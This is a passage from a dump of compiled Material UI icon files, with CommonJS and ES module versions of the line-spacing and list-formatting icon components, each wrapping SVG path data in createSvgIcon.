    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 7h2.5L5 3.5 1.5 7H4v10H1.5L5 20.5 8.5 17H6zm4-2v2h12V5zm0 14h12v-2H10zm0-6h12v-2H10z\"\n}), 'FormatLineSpacing');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatLineSpacing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 7h2.5L5 3.5 1.5 7H4v10H1.5L5 20.5 8.5 17H6zm4-2v2h12V5zm0 14h12v-2H10zm0-6h12v-2H10z\"\n}), 'FormatLineSpacing');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatLineSpacingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 7h2.5L5 3.5 1.5 7H4v10H1.5L5 20.5 8.5 17H6zm4-2v2h12V5zm0 14h12v-2H10zm0-6h12v-2H10z\"\n}), 'FormatLineSpacingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatLineSpacingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 7h2.5L5 3.5 1.5 7H4v10H1.5L5 20.5 8.5 17H6zm4-2v2h12V5zm0 14h12v-2H10zm0-6h12v-2H10z\"\n}), 'FormatLineSpacingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatLineSpacingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.29 7c.45 0 .67-.54.35-.85l-2.29-2.3c-.2-.2-.51-.2-.71 0l-2.29 2.3c-.31.31-.09.85.36.85H4v10H2.71c-.45 0-.67.54-.35.85l2.29 2.29c.2.2.51.2.71 0l2.29-2.29c.31-.31.09-.85-.36-.85H6V7zM11 7h10c.55 0 1-.45 1-1s-.45-1-1-1H11c-.55 0-1 .45-1 1s.45 1 1 1m10 10H11c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1m0-6H11c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'FormatLineSpacingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatLineSpacingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.29 7c.45 0 .67-.54.35-.85l-2.29-2.3c-.2-.2-.51-.2-.71 0l-2.29 2.3c-.31.31-.09.85.36.85H4v10H2.71c-.45 0-.67.54-.35.85l2.29 2.29c.2.2.51.2.71 0l2.29-2.29c.31-.31.09-.85-.36-.85H6V7zM11 7h10c.55 0 1-.45 1-1s-.45-1-1-1H11c-.55 0-1 .45-1 1s.45 1 1 1m10 10H11c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1m0-6H11c-.55 0-1 .45-1 1s.45 1 1 1h10c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'FormatLineSpacingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatLineSpacingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 7h2.5L5 3.5 1.5 7H4v10H1.5L5 20.5 8.5 17H6zm4-2v2h12V5zm0 14h12v-2H10zm0-6h12v-2H10z\"\n}), 'FormatLineSpacingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatLineSpacingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 7h2.5L5 3.5 1.5 7H4v10H1.5L5 20.5 8.5 17H6zm4-2v2h12V5zm0 14h12v-2H10zm0-6h12v-2H10z\"\n}), 'FormatLineSpacingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatLineSpacingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 5h12v2H10zm0 12h12v2H10zm-8.5 0L5 20.5 8.5 17H6V7h2.5L5 3.5 1.5 7H4v10zm8.5-6h12v2H10z\"\n}), 'FormatLineSpacingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatLineSpacingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 5h12v2H10zm0 12h12v2H10zm-8.5 0L5 20.5 8.5 17H6V7h2.5L5 3.5 1.5 7H4v10zm8.5-6h12v2H10z\"\n}), 'FormatLineSpacingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListBulleted.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 10.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-6c-.83 0-1.5.67-1.5 1.5S3.17 7.5 4 7.5 5.5 6.83 5.5 6 4.83 4.5 4 4.5m0 12c-.83 0-1.5.68-1.5 1.5s.68 1.5 1.5 1.5 1.5-.68 1.5-1.5-.67-1.5-1.5-1.5M7 19h14v-2H7zm0-6h14v-2H7zm0-8v2h14V5z\"\n}), 'FormatListBulleted');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListBulleted.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 10.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-6c-.83 0-1.5.67-1.5 1.5S3.17 7.5 4 7.5 5.5 6.83 5.5 6 4.83 4.5 4 4.5m0 12c-.83 0-1.5.68-1.5 1.5s.68 1.5 1.5 1.5 1.5-.68 1.5-1.5-.67-1.5-1.5-1.5M7 19h14v-2H7zm0-6h14v-2H7zm0-8v2h14V5z\"\n}), 'FormatListBulleted');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListBulletedAdd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21zM7 5h13v2H7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"3.5\",\n  cy: \"18\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11H7v2h6.11c1.26-1.24 2.99-2 4.89-2M7 17v2h4.08c-.05-.33-.08-.66-.08-1s.03-.67.08-1z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"3.5\",\n  cy: \"6\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"3.5\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"4\")], 'FormatListBulletedAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListBulletedAdd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m3 5.5h-2.5V21h-1v-2.5H15v-1h2.5V15h1v2.5H21zM7 5h13v2H7z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"3.5\",\n  cy: \"18\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11H7v2h6.11c1.26-1.24 2.99-2 4.89-2M7 17v2h4.08c-.05-.33-.08-.66-.08-1s.03-.67.08-1z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"3.5\",\n  cy: \"6\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"3.5\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"4\")], 'FormatListBulletedAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListBulletedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 10.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-6c-.83 0-1.5.67-1.5 1.5S3.17 7.5 4 7.5 5.5 6.83 5.5 6 4.83 4.5 4 4.5m0 12c-.83 0-1.5.68-1.5 1.5s.68 1.5 1.5 1.5 1.5-.68 1.5-1.5-.67-1.5-1.5-1.5M7 19h14v-2H7zm0-6h14v-2H7zm0-8v2h14V5z\"\n}), 'FormatListBulletedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListBulletedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 10.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-6c-.83 0-1.5.67-1.5 1.5S3.17 7.5 4 7.5 5.5 6.83 5.5 6 4.83 4.5 4 4.5m0 12c-.83 0-1.5.68-1.5 1.5s.68 1.5 1.5 1.5 1.5-.68 1.5-1.5-.67-1.5-1.5-1.5M7 19h14v-2H7zm0-6h14v-2H7zm0-8v2h14V5z\"\n}), 'FormatListBulletedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListBulletedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 10.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-6c-.83 0-1.5.67-1.5 1.5S3.17 7.5 4 7.5 5.5 6.83 5.5 6 4.83 4.5 4 4.5m0 12c-.83 0-1.5.68-1.5 1.5s.68 1.5 1.5 1.5 1.5-.68 1.5-1.5-.67-1.5-1.5-1.5M8 19h12c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1s.45 1 1 1m0-6h12c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1s.45 1 1 1M7 6c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1\"\n}), 'FormatListBulletedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListBulletedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 10.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-6c-.83 0-1.5.67-1.5 1.5S3.17 7.5 4 7.5 5.5 6.83 5.5 6 4.83 4.5 4 4.5m0 12c-.83 0-1.5.68-1.5 1.5s.68 1.5 1.5 1.5 1.5-.68 1.5-1.5-.67-1.5-1.5-1.5M8 19h12c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1s.45 1 1 1m0-6h12c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1s.45 1 1 1M7 6c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1\"\n}), 'FormatListBulletedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListBulletedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 10.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-6c-.83 0-1.5.67-1.5 1.5S3.17 7.5 4 7.5 5.5 6.83 5.5 6 4.83 4.5 4 4.5m0 12c-.83 0-1.5.68-1.5 1.5s.68 1.5 1.5 1.5 1.5-.68 1.5-1.5-.67-1.5-1.5-1.5M7 19h14v-2H7zm0-6h14v-2H7zm0-8v2h14V5z\"\n}), 'FormatListBulletedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListBulletedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 10.5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m0-6c-.83 0-1.5.67-1.5 1.5S3.17 7.5 4 7.5 5.5 6.83 5.5 6 4.83 4.5 4 4.5m0 12c-.83 0-1.5.68-1.5 1.5s.68 1.5 1.5 1.5 1.5-.68 1.5-1.5-.67-1.5-1.5-1.5M7 19h14v-2H7zm0-6h14v-2H7zm0-8v2h14V5z\"\n}), 'FormatListBulletedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListBulletedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 5h14v2H7z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4\",\n  cy: \"6\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11h14v2H7zm0 6h14v2H7zm-3 2.5c.82 0 1.5-.68 1.5-1.5s-.67-1.5-1.5-1.5-1.5.68-1.5 1.5.68 1.5 1.5 1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"3\")], 'FormatListBulletedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListBulletedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 5h14v2H7z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4\",\n  cy: \"6\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11h14v2H7zm0 6h14v2H7zm-3 2.5c.82 0 1.5-.68 1.5-1.5s-.67-1.5-1.5-1.5-1.5.68-1.5 1.5.68 1.5 1.5 1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4\",\n  cy: \"12\",\n  r: \"1.5\"\n}, \"3\")], 'FormatListBulletedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumbered.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 17h2v.5H3v1h1v.5H2v1h3v-4H2zm1-9h1V4H2v1h1zm-1 3h1.8L2 13.1v.9h3v-1H3.2L5 10.9V10H2zm5-6v2h14V5zm0 14h14v-2H7zm0-6h14v-2H7z\"\n}), 'FormatListNumbered');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumbered.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 17h2v.5H3v1h1v.5H2v1h3v-4H2zm1-9h1V4H2v1h1zm-1 3h1.8L2 13.1v.9h3v-1H3.2L5 10.9V10H2zm5-6v2h14V5zm0 14h14v-2H7zm0-6h14v-2H7z\"\n}), 'FormatListNumbered');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 17h2v.5H3v1h1v.5H2v1h3v-4H2zm1-9h1V4H2v1h1zm-1 3h1.8L2 13.1v.9h3v-1H3.2L5 10.9V10H2zm5-6v2h14V5zm0 14h14v-2H7zm0-6h14v-2H7z\"\n}), 'FormatListNumberedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 17h2v.5H3v1h1v.5H2v1h3v-4H2zm1-9h1V4H2v1h1zm-1 3h1.8L2 13.1v.9h3v-1H3.2L5 10.9V10H2zm5-6v2h14V5zm0 14h14v-2H7zm0-6h14v-2H7z\"\n}), 'FormatListNumberedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 7h12c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1s.45 1 1 1m12 10H8c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1m0-6H8c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1M4.5 16h-2c-.28 0-.5.22-.5.5s.22.5.5.5H4v.5h-.5c-.28 0-.5.22-.5.5s.22.5.5.5H4v.5H2.5c-.28 0-.5.22-.5.5s.22.5.5.5h2c.28 0 .5-.22.5-.5v-3c0-.28-.22-.5-.5-.5m-2-11H3v2.5c0 .28.22.5.5.5s.5-.22.5-.5v-3c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5m2 5h-2c-.28 0-.5.22-.5.5s.22.5.5.5h1.3l-1.68 1.96c-.08.09-.12.21-.12.32v.22c0 .28.22.5.5.5h2c.28 0 .5-.22.5-.5s-.22-.5-.5-.5H3.2l1.68-1.96c.08-.09.12-.21.12-.32v-.22c0-.28-.22-.5-.5-.5\"\n}), 'FormatListNumberedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 7h12c.55 0 1-.45 1-1s-.45-1-1-1H8c-.55 0-1 .45-1 1s.45 1 1 1m12 10H8c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1m0-6H8c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1M4.5 16h-2c-.28 0-.5.22-.5.5s.22.5.5.5H4v.5h-.5c-.28 0-.5.22-.5.5s.22.5.5.5H4v.5H2.5c-.28 0-.5.22-.5.5s.22.5.5.5h2c.28 0 .5-.22.5-.5v-3c0-.28-.22-.5-.5-.5m-2-11H3v2.5c0 .28.22.5.5.5s.5-.22.5-.5v-3c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5s.22.5.5.5m2 5h-2c-.28 0-.5.22-.5.5s.22.5.5.5h1.3l-1.68 1.96c-.08.09-.12.21-.12.32v.22c0 .28.22.5.5.5h2c.28 0 .5-.22.5-.5s-.22-.5-.5-.5H3.2l1.68-1.96c.08-.09.12-.21.12-.32v-.22c0-.28-.22-.5-.5-.5\"\n}), 'FormatListNumberedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedRtl.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 17h2v.5h-1v1h1v.5h-2v1h3v-4h-3zm1-9h1V4h-2v1h1zm-1 3h1.8L18 13.1v.9h3v-1h-1.8l1.8-2.1V10h-3zM2 5h14v2H2zm0 12h14v2H2zm0-6h14v2H2z\"\n}), 'FormatListNumberedRtl');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedRtl.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 17h2v.5h-1v1h1v.5h-2v1h3v-4h-3zm1-9h1V4h-2v1h1zm-1 3h1.8L18 13.1v.9h3v-1h-1.8l1.8-2.1V10h-3zM2 5h14v2H2zm0 12h14v2H2zm0-6h14v2H2z\"\n}), 'FormatListNumberedRtl');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedRtlOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 17h2v.5h-1v1h1v.5h-2v1h3v-4h-3zm1-9h1V4h-2v1h1zm-1 3h1.8L18 13.1v.9h3v-1h-1.8l1.8-2.1V10h-3zM2 5h14v2H2zm0 12h14v2H2zm0-6h14v2H2z\"\n}), 'FormatListNumberedRtlOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedRtlOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 17h2v.5h-1v1h1v.5h-2v1h3v-4h-3zm1-9h1V4h-2v1h1zm-1 3h1.8L18 13.1v.9h3v-1h-1.8l1.8-2.1V10h-3zM2 5h14v2H2zm0 12h14v2H2zm0-6h14v2H2z\"\n}), 'FormatListNumberedRtlOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatListNumberedRtlRounded.js",
